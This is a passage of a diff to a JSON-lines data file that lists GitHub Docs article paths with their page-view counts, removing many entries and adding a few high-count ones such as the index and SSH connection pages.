"github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request", "path_count": 1806} -{"path_article": "get-started/exploring-projects-on-github/following-people", "path_count": 1803} -{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates", "path_count": 1802} -{"path_article": "code-security/getting-started/adding-a-security-policy-to-your-repository", "path_count": 1781} -{"path_article": "organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard", "path_count": 1776} -{"path_article": "github/understanding-how-github-uses-and-protects-your-data/about-githubs-use-of-your-data", "path_count": 1769} -{"path_article": "graphql/reference/enums", "path_count": 1766} -{"path_article": "issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board", "path_count": 1764} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization", "path_count": 1762} -{"path_article": "admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements", "path_count": 1758} -{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository", "path_count": 1756} -{"path_article": "graphql/overview/resource-limitations", "path_count": 1753} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization", "path_count": 1740} -{"path_article": "actions/deployment/about-continuous-deployment", "path_count": 1740} -{"path_article": "admin/overview/about-github-ae", "path_count": 1732} -{"path_article": "developers/apps/guides/using-the-github-api-in-your-app", "path_count": 1720} -{"path_article": "get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server", "path_count": 1718} -{"path_article": "rest/guides/working-with-comments", "path_count": 1708} -{"path_article": "authentication/keeping-your-account-and-data-secure/reviewing-your-security-log", "path_count": 1699} -{"path_article": "code-security/getting-started/github-security-features", "path_count": 1696} -{"path_article": "repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository", "path_count": 1692} -{"path_article": "organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization", "path_count": 1689} -{"path_article": "admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh", "path_count": 1685} -{"path_article": "actions/hosting-your-own-runners/using-labels-with-self-hosted-runners", "path_count": 1685} -{"path_article": "organizations/managing-organization-settings/transferring-organization-ownership", "path_count": 1679} -{"path_article": "repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository", "path_count": 1678} -{"path_article": "codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account", "path_count": 1678} -{"path_article": "actions/managing-issues-and-pull-requests/adding-labels-to-issues", "path_count": 1677} -{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges", "path_count": 1675} -{"path_article": "admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script", "path_count": 1666} -{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files", "path_count": 1663} -{"path_article": "code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql", "path_count": 1660} -{"path_article": "organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization", "path_count": 1658} -{"path_article": "get-started/learning-about-github/github-language-support", "path_count": 1650} -{"path_article": "graphql/guides", "path_count": 1643} -{"path_article": "actions/automating-builds-and-tests/building-and-testing-nodejs", "path_count": 1634} -{"path_article": "admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users", "path_count": 1634} -{"path_article": "developers/overview/secret-scanning-partner-program", "path_count": 1631} -{"path_article": "billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method", "path_count": 1620} -{"path_article": "rest/guides/discovering-resources-for-a-user", "path_count": 1615} -{"path_article": "education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved", "path_count": 1612} -{"path_article": "search-github/searching-on-github/searching-topics", "path_count": 1610} -{"path_article": "code-security/security-advisories/about-github-security-advisories", "path_count": 1606} -{"path_article": "get-started/learning-about-github", "path_count": 1603} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization", "path_count": 1601} -{"path_article": "github/searching-for-information-on-github/searching-on-github/searching-for-repositories", "path_count": 1597} -{"path_article": "authentication/troubleshooting-ssh/error-unknown-key-type", "path_count": 1596} -{"path_article": "github/searching-for-information-on-github/getting-started-with-searching-on-github/understanding-the-search-syntax", "path_count": 1594} -{"path_article": "github/customizing-your-github-workflow/exploring-integrations/about-integrations", "path_count": 1593} -{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request", "path_count": 1584} -{"path_article": "repositories/working-with-files/using-files/navigating-code-on-github", "path_count": 1584} -{"path_article": "actions/managing-workflow-runs/removing-workflow-artifacts", "path_count": 1582} -{"path_article": "billing/managing-billing-for-your-github-account", "path_count": 1578} -{"path_article": "code-security/getting-started/securing-your-repository", "path_count": 1572} -{"path_article": "github/working-with-github-support/submitting-a-ticket", "path_count": 1566} -{"path_article": "actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners", "path_count": 1563} -{"path_article": "rest/reference/scim", "path_count": 1559} -{"path_article": "desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-basic-settings", "path_count": 1557} -{"path_article": "communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki", "path_count": 1551} -{"path_article": "organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities", "path_count": 1550} -{"path_article": "billing/managing-your-license-for-github-enterprise", "path_count": 1545} -{"path_article": "actions/deployment/deploying-to-azure-app-service", "path_count": 1535} -{"path_article": "github/importing-your-projects-to-github/importing-source-code-to-github", "path_count": 1531} -{"path_article": "rest/reference/reactions", "path_count": 1527} -{"path_article": "admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap", "path_count": 1522} -{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility", "path_count": 1522} -{"path_article": "github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/adding-organizations-to-your-enterprise-account", "path_count": 1517} -{"path_article": "developers/overview", "path_count": 1511} -{"path_article": "github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists", "path_count": 1502} -{"path_article": "github/getting-started-with-github/quickstart/create-a-repo", "path_count": 1501} -{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview", "path_count": 1501} -{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages", "path_count": 1500} -{"path_article": "billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage", "path_count": 1499} -{"path_article": "actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions", "path_count": 1497} -{"path_article": "rest/reference/oauth-authorizations", "path_count": 1488} -{"path_article": "rest/reference/licenses", "path_count": 1481} -{"path_article": "github/working-with-github-support/about-github-support", "path_count": 1477} -{"path_article": "education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-education-for-students", "path_count": 1474} -{"path_article": "repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs", "path_count": 1472} -{"path_article": "authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications", "path_count": 1466} -{"path_article": "sponsors/getting-started-with-github-sponsors/about-github-sponsors", "path_count": 1463} -{"path_article": "graphql/guides/migrating-from-rest-to-graphql", "path_count": 1458} -{"path_article": "education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program", "path_count": 1455} -{"path_article": "repositories/releasing-projects-on-github/comparing-releases", "path_count": 1453} -{"path_article": "github/getting-started-with-github/getting-started-with-git/managing-remote-repositories", "path_count": 1445} -{"path_article": "admin/guides", "path_count": 1443} -{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks", "path_count": 1441} -{"path_article": "search-github/getting-started-with-searching-on-github/sorting-search-results", "path_count": 1432} -{"path_article": "admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise", "path_count": 1432} -{"path_article": "developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app", "path_count": 1431} -{"path_article": "billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account", "path_count": 1423} -{"path_article": "authentication/keeping-your-account-and-data-secure/authorizing-github-apps", "path_count": 1422} -{"path_article": "github/copilot/research-recitation", "path_count": 1418} -{"path_article": "github/extending-github/getting-started-with-the-api", "path_count": 1408} -{"path_article": "communities/moderating-comments-and-conversations/managing-disruptive-comments", "path_count": 1403} -{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests", "path_count": 1395} -{"path_article": "rest/reference/secret-scanning", "path_count": 1384} -{"path_article": "issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects", "path_count": 1384} -{"path_article": "issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository", "path_count": 1380} -{"path_article": "developers/apps/managing-github-apps/editing-a-github-apps-permissions", "path_count": 1366} -{"path_article": "github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud", "path_count": 1364} -{"path_article": "desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop", "path_count": 1363} -{"path_article": "github/site-policy/github-candidate-privacy-policy", "path_count": 1360} -{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device", "path_count": 1358} -{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests", "path_count": 1358} -{"path_article": "github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/verifying-or-approving-a-domain-for-your-enterprise-account", "path_count": 1356} -{"path_article": "organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization", "path_count": 1351} -{"path_article": "github/committing-changes-to-your-project/viewing-and-comparing-commits/commit-branch-and-tag-labels", "path_count": 1350} -{"path_article": "repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage", "path_count": 1342} -{"path_article": "authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys", "path_count": 1333} -{"path_article": "admin/configuration/configuring-network-settings/configuring-tls", "path_count": 1332} -{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests", "path_count": 1322} -{"path_article": "graphql/reference/scalars", "path_count": 1314} -{"path_article": "admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware", "path_count": 1312} -{"path_article": "github/getting-started-with-github/getting-started-with-git/setting-your-username-in-git", "path_count": 1311} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends", "path_count": 1301} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders", "path_count": 1300} -{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot", "path_count": 1297} -{"path_article": "organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization", "path_count": 1292} -{"path_article": "codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces", "path_count": 1291} -{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit", "path_count": 1290} -{"path_article": "github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization", "path_count": 1288} -{"path_article": "github/working-with-github-support/github-enterprise-cloud-support", "path_count": 1286} -{"path_article": "admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws", "path_count": 1284} -{"path_article": "github/searching-for-information-on-github/searching-on-github/searching-commits", "path_count": 1282} -{"path_article": "actions/advanced-guides/using-github-cli-in-workflows", "path_count": 1281} -{"path_article": "github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise", "path_count": 1274} -{"path_article": "organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization", "path_count": 1271} -{"path_article": "developers/apps/building-github-apps/setting-permissions-for-github-apps", "path_count": 1271} -{"path_article": "github/getting-started-with-github/quickstart/set-up-git", "path_count": 1261} -{"path_article": "get-started/using-git/about-git-subtree-merges", "path_count": 1261} -{"path_article": "developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors", "path_count": 1261} -{"path_article": "organizations/restricting-access-to-your-organizations-data", "path_count": 1260} -{"path_article": "admin/installation", "path_count": 1249} -{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot", "path_count": 1242} -{"path_article": "graphql/guides/managing-enterprise-accounts", "path_count": 1241} -{"path_article": "github/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer", "path_count": 1239} -{"path_article": "repositories/working-with-files", "path_count": 1238} -{"path_article": "communities/setting-up-your-project-for-healthy-contributions", "path_count": 1236} -{"path_article": "desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop", "path_count": 1232} -{"path_article": "github/searching-for-information-on-github/searching-on-github", "path_count": 1231} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile", "path_count": 1228} -{"path_article": "code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository", "path_count": 1228} -{"path_article": "rest/guides/best-practices-for-integrators", "path_count": 1225} -{"path_article": "actions/publishing-packages/publishing-java-packages-with-gradle", "path_count": 1224} -{"path_article": "desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop", "path_count": 1219} -{"path_article": "github/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization", "path_count": 1219} -{"path_article": "authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions", "path_count": 1215} -{"path_article": "codespaces/developing-in-codespaces/developing-in-a-codespace", "path_count": 1213} -{"path_article": "actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history", "path_count": 1210} -{"path_article": "admin/configuration/configuring-network-settings/network-ports", "path_count": 1207} -{"path_article": "actions/hosting-your-own-runners/removing-self-hosted-runners", "path_count": 1206} -{"path_article": "github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/connecting-an-azure-subscription-to-your-enterprise", "path_count": 1204} -{"path_article": "search-github/getting-started-with-searching-on-github", "path_count": 1202} -{"path_article": "authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k", "path_count": 1199} -{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests", "path_count": 1198} -{"path_article": "github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations", "path_count": 1198} -{"path_article": "organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators", "path_count": 1195} -{"path_article": "desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop", "path_count": 1188} -{"path_article": "admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users", "path_count": 1187} -{"path_article": "github/authenticating-to-github/troubleshooting-ssh/error-permission-denied-publickey", "path_count": 1186} -{"path_article": "repositories/viewing-activity-and-data-for-your-repository", "path_count": 1185} -{"path_article": "issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board", "path_count": 1183} -{"path_article": "codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces", "path_count": 1183} -{"path_article": "actions/managing-workflow-runs/re-running-a-workflow", "path_count": 1182} -{"path_article": "authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys", "path_count": 1182} -{"path_article": "desktop/installing-and-configuring-github-desktop/overview/supported-operating-systems", "path_count": 1182} -{"path_article": "codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces", "path_count": 1181} -{"path_article": "authentication/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok", "path_count": 1174} -{"path_article": "billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process", "path_count": 1172} -{"path_article": "github/understanding-how-github-uses-and-protects-your-data/requesting-an-archive-of-your-personal-accounts-data", "path_count": 1168} -{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request", "path_count": 1167} -{"path_article": "account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github", "path_count": 1164} -{"path_article": "actions/managing-workflow-runs/deleting-a-workflow-run", "path_count": 1159} -{"path_article": "github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication", "path_count": 1159} -{"path_article": "billing/managing-your-github-billing-settings/about-billing-on-github", "path_count": 1159} -{"path_article": "code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review", "path_count": 1157} -{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board", "path_count": 1156} -{"path_article": "actions/deployment/installing-an-apple-certificate-on-macos-runners-for-xcode-development", "path_count": 1155} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline", "path_count": 1152} -{"path_article": "github/searching-for-information-on-github/searching-on-github/finding-files-on-github", "path_count": 1151} -{"path_article": "github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository", "path_count": 1150} -{"path_article": "actions/reference/events-that-trigger-workflows", "path_count": 1149} -{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board", "path_count": 1148} -{"path_article": "issues/organizing-your-work-with-project-boards", "path_count": 1145} -{"path_article": "communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories", "path_count": 1145} -{"path_article": "github/site-policy/github-sponsors-additional-terms", "path_count": 1143} -{"path_article": "authentication/troubleshooting-commit-signature-verification", "path_count": 1140} -{"path_article": "actions/automating-builds-and-tests/building-and-testing-powershell", "path_count": 1139} -{"path_article": "billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage", "path_count": 1133} -{"path_article": "authentication/keeping-your-account-and-data-secure/about-anonymized-urls", "path_count": 1132} -{"path_article": "admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml", "path_count": 1129} -{"path_article": "developers/apps/getting-started-with-apps/activating-optional-features-for-apps", "path_count": 1121} -{"path_article": "github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git", "path_count": 1118} -{"path_article": "developers/webhooks-and-events", "path_count": 1116} -{"path_article": "github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/managing-licenses-for-visual-studio-subscription-with-github-enterprise", "path_count": 1114} -{"path_article": "github/site-policy/github-data-protection-agreement", "path_count": 1112} -{"path_article": "admin/enterprise-management/configuring-high-availability", "path_count": 1109} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership", "path_count": 1106} -{"path_article": "organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta", "path_count": 1102} -{"path_article": "actions/learn-github-actions/sharing-workflows-with-your-organization", "path_count": 1101} -{"path_article": "repositories/releasing-projects-on-github", "path_count": 1100} -{"path_article": "authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user", "path_count": 1100} -{"path_article": "actions/managing-workflow-runs/canceling-a-workflow", "path_count": 1095} -{"path_article": "repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository", "path_count": 1093} -{"path_article": "actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions", "path_count": 1093} -{"path_article": "github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-github-actions-policies-in-your-enterprise-account", "path_count": 1091} -{"path_article": "github/site-policy/github-logo-policy", "path_count": 1091} -{"path_article": "get-started/using-github/github-desktop", "path_count": 1091} -{"path_article": "authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth", "path_count": 1090} -{"path_article": "actions/managing-workflow-runs/re-running-workflows-and-jobs", "path_count": 1083} -{"path_article": "billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage", "path_count": 1081} -{"path_article": "repositories/creating-and-managing-repositories/creating-an-issues-only-repository", "path_count": 1076} -{"path_article": "desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop", "path_count": 1076} -{"path_article": "organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization", "path_count": 1070} -{"path_article": "github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-security-settings-in-your-enterprise-account", "path_count": 1063} -{"path_article": "admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage", "path_count": 1060} -{"path_article": "github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace", "path_count": 1058} -{"path_article": "billing/managing-billing-for-your-github-account/about-billing-for-github-accounts", "path_count": 1057} -{"path_article": "actions/using-containerized-services/creating-redis-service-containers", "path_count": 1054} -{"path_article": "github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-repository-management-policies-in-your-enterprise-account", "path_count": 1047} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards", "path_count": 1045} -{"path_article": "rest/reference/interactions", "path_count": 1041} -{"path_article": "developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app", "path_count": 1039} -{"path_article": "communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization", "path_count": 1034} -{"path_article": "code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies", "path_count": 1034} -{"path_article": "actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph", "path_count": 1030} -{"path_article": "graphql/overview/breaking-changes", "path_count": 1026} -{"path_article": "developers/apps/building-github-apps/creating-a-github-app-from-a-manifest", "path_count": 1025} -{"path_article": "organizations/organizing-members-into-teams/removing-organization-members-from-a-team", "path_count": 1023} -{"path_article": "github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks", "path_count": 1023} -{"path_article": "github/site-policy-deprecated/github-enterprise-service-level-agreement", "path_count": 1018} -{"path_article": "codespaces/codespaces-reference/understanding-billing-for-codespaces", "path_count": 1015} -{"path_article": "actions/automating-builds-and-tests/building-and-testing-java-with-ant", "path_count": 1013} -{"path_article": "github/committing-changes-to-your-project/viewing-and-comparing-commits", "path_count": 1010} -{"path_article": "education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom", "path_count": 1008} -{"path_article": "admin/overview", "path_count": 1008} -{"path_article": "billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date", "path_count": 1007} -{"path_article": "repositories/viewing-activity-and-data-for-your-repository/analyzing-changes-to-a-repositorys-content", "path_count": 999} -{"path_article": "codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace", "path_count": 995} -{"path_article": "code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning", "path_count": 992} -{"path_article": "communities/moderating-comments-and-conversations/locking-conversations", "path_count": 990} -{"path_article": "organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization", "path_count": 974} -{"path_article": "github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users", "path_count": 974} -{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema", "path_count": 971} -{"path_article": "actions/reference/context-and-expression-syntax-for-github-actions", "path_count": 969} -{"path_article": "github-cli/github-cli/quickstart", "path_count": 969} -{"path_article": "communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis", "path_count": 966} -{"path_article": "github/getting-started-with-github/using-git/pushing-commits-to-a-remote-repository", "path_count": 966} -{"path_article": "github/writing-on-github/working-with-saved-replies/about-saved-replies", "path_count": 964} -{"path_article": "github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account", "path_count": 959} -{"path_article": "codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces", "path_count": 959} -{"path_article": "get-started/onboarding", "path_count": 958} -{"path_article": "github/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users", "path_count": 955} -{"path_article": "code-security/secret-scanning/configuring-secret-scanning-for-your-repositories", "path_count": 951} -{"path_article": "developers/github-marketplace/github-marketplace-overview/about-marketplace-badges", "path_count": 946} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company", "path_count": 945} -{"path_article": "developers/apps/managing-github-apps/making-a-github-app-public-or-private", "path_count": 944} -{"path_article": "github/managing-files-in-a-repository/managing-files-on-github/adding-a-file-to-a-repository", "path_count": 939} -{"path_article": "github/committing-changes-to-your-project", "path_count": 936} -{"path_article": "get-started/onboarding/getting-started-with-github-enterprise-cloud", "path_count": 936} -{"path_article": "admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity", "path_count": 935} -{"path_article": "repositories/archiving-a-github-repository/referencing-and-citing-content", "path_count": 932} -{"path_article": "graphql/guides/using-global-node-ids", "path_count": 930} -{"path_article": "github/site-policy/github-marketplace-terms-of-service", "path_count": 929} -{"path_article": "billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage", "path_count": 928} -{"path_article": "github/writing-on-github/working-with-saved-replies/using-saved-replies", "path_count": 925} -{"path_article": "github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/viewing-people-in-your-enterprise", "path_count": 924} -{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request", "path_count": 924} -{"path_article": "get-started/onboarding/getting-started-with-github-team", "path_count": 922} -{"path_article": "admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator", "path_count": 921} -{"path_article": "github/site-policy/github-registered-developer-agreement", "path_count": 920} -{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot", "path_count": 918} -{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/customizing-dependency-updates", "path_count": 917} -{"path_article": "code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow", "path_count": 916} -{"path_article": "repositories/working-with-files/managing-large-files/resolving-git-large-file-storage-upload-failures", "path_count": 916} -{"path_article": "issues/tracking-your-work-with-issues/quickstart", "path_count": 912} -{"path_article": "admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams", "path_count": 910} -{"path_article": "organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group", "path_count": 909} -{"path_article": "organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization", "path_count": 908} -{"path_article": "admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs", "path_count": 904} -{"path_article": "github/understanding-how-github-uses-and-protects-your-data/opting-into-or-out-of-the-github-archive-program-for-your-public-repository", "path_count": 903} -{"path_article": "communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization", "path_count": 903} -{"path_article": "communities/documenting-your-project-with-wikis", "path_count": 902} -{"path_article": "github/writing-on-github/working-with-saved-replies/creating-a-saved-reply", "path_count": 898} -{"path_article": "admin/configuration/configuring-network-settings/configuring-a-hostname", "path_count": 898} -{"path_article": "rest/guides/building-a-ci-server", "path_count": 896} -{"path_article": "communities/documenting-your-project-with-wikis/viewing-a-wikis-history-of-changes", "path_count": 895} -{"path_article": "code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github", "path_count": 892} -{"path_article": "admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica", "path_count": 891} -{"path_article": "rest/guides/rendering-data-as-graphs", "path_count": 887} -{"path_article": "codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces", "path_count": 887} -{"path_article": "search-github/searching-on-github/searching-for-packages", "path_count": 885} -{"path_article": "github/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address", "path_count": 878} -{"path_article": "admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode", "path_count": 875} -{"path_article": "admin/configuration/configuring-your-enterprise/accessing-the-management-console", "path_count": 873} -{"path_article": "github/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github", "path_count": 869} -{"path_article": "admin/configuration/configuring-your-enterprise/site-admin-dashboard", "path_count": 864} -{"path_article": "organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator", "path_count": 860} -{"path_article": "billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts", "path_count": 859} -{"path_article": "discussions/collaborating-with-your-community-using-discussions/about-discussions", "path_count": 856} +{"path_article": "index", "path_count": 2235652} +{"path_article": "authentication/connecting-to-github-with-ssh", "path_count": 482660} +{"path_article": 